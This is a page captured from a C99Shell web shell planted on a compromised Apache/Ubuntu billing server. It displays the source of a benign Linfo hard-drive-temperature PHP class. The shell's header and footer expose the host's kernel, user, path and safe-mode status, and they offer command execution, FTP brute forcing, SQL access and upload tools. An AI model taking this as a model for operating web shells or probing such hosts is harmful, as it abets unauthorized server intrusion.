!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache/2.4.41 (Ubuntu). PHP/8.0.30 

uname -a: Linux apirnd 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/var/www/html/billing/sysinfo/lib/   drwxr-xr-x
Free 13.26 GB of 57.97 GB (22.87%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     class.GetHddTemp.php (4.04 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

/*
 * This file is part of Linfo (c) 2010 Joseph Gillotti.
 * 
 * Linfo is free software: you can redistribute it and/or modify
 * it under the terms of the GNU General Public License as published by
 * the Free Software Foundation, either version 3 of the License, or
 * (at your option) any later version.
 * 
 * Linfo is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 * GNU General Public License for more details.
 * 
 * You should have received a copy of the GNU General Public License
 * along with Linfo.  If not, see <http://www.gnu.org/licenses/>.
 * 
*/


defined('IN_INFO') or exit;

/*
 * Exception
 */
class GetHddTempException extends Exception{}

/*
 * Deal with hddtemp
 */
class GetHddTemp {

    
// Store these
    
protected $mode$host$port$settings;

    
// Default socket connect timeout
    
const timeout 3;

    
// Start us off
    
public function __construct($settings) {
        
$this->settings $settings;
    }

    
// Localize mode
    
public function setMode($mode) {
        
$this->mode $mode;
    }

    
/*
     *  For connecting to HDDTemp daemon
     */

    // Localize host and port
    
public function setAddress($host$port 7634) {
        
$this->host $host;
        
$this->port $port;
    }

    
// Connect to host/port and get info
    
private function getSock() {
        
// Try connecting
        
if (!($sock = @fsockopen($this->host$this->port$errno$errstrself::timeout)))
            throw new 
GetHddTempException('Error connecting');

        
// Try getting stuff
        
$buffer '';
        while (
$mid = @fgets($sock))
            
$buffer .= $mid;

        
// Quit
        
@fclose($sock);

        
// Output:
        
return $buffer;
    }

    
// Parse and return info from daemon socket
    
private function parseSockData($data) {
        
        
// Kill surounding ||'s and split it by pipes
        
$drives explode('||'trim($data'|'));

        
// Return oour stuff here
        
$return = array();

        
// Go through each
        
$num_drives count($drives);
        for(
$i 0$i $num_drives$i++) {

            
// This drive
            
$drive $drives[$i];

            
// Extract stuff from it
            
list($path$name$temp$unit) = explode('|'trim($drive));

            
// Ignore /dev/sg? 
            
if (!empty($this->settings['hide']['sg']) && substr($path07) == '/dev/sg')
                continue;

            
// Ignore no longer existant devices?
            
if (!file_exists($path) && is_readable('/dev'))
                continue;
            
            
// Save it
            
$return[] = array(
                
'path' => $path,
                
'name' => $name,
                
'temp' => $temp,
                
'unit' => strtoupper($unit)
            );
        }

        
// Give off results
        
return $return;
    }

    
/*
     * For parsing the syslog looking for hddtemp entries
     * POTENTIALLY BUGGY -- only tested on debian/ubuntu flavored syslogs
     * Also slow as balls as it parses the entire syslog instead of
     * using something like tail
     */
    
private function parseSysLogData() {
        
$file '/var/log/syslog';
        if (!
is_file($file) || !is_readable($file)) {
            return array();
        }
        
$devices = array();
        foreach (
getLines($file) as $line) {
            if (
preg_match('/\w+\s*\d+ \d{2}:\d{2}:\d{2} \w+ hddtemp\[\d+\]: (.+): (.+): (\d+) ([CF])/i'trim($line), $match) == 1) {
                
// Replace current record of dev with updated temp
                
$devices[$match[1]] = array($match[2], $match[3], $match[4]);
            }
        }
        
$return = array();
        foreach (
$devices as $dev => $stat)
            
$return[] = array(
                
'path' => $dev,
                
'name' => $stat[0],
                
'temp' => $stat[1],
                
'unit' => strtoupper($stat[2])
            );
        return 
$return;
    }

    
/*
     * Wrapper function around the private ones here which do the
     * actual work, and returns temps
     */

    // Use supplied mode, and optionally host/port, to get temps and return them
    
public function work() {

        
// Deal with differences in mode
        
switch ($this->mode) {

            
// Connect to daemon mode
            
case 'daemon':
                
$sockResult $this->getSock();
                
$temps $this->parseSockData($sockResult);
                return 
$temps;
            break;

            
// Syslog every n seconds
            
case 'syslog':
                
$temps $this->parseSysLogData();
                return 
$temps;
            break;

            
// Some other mode
            
default:
                throw new 
GetHddTempException('Not supported mode');
            break;
        }
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0241 ]--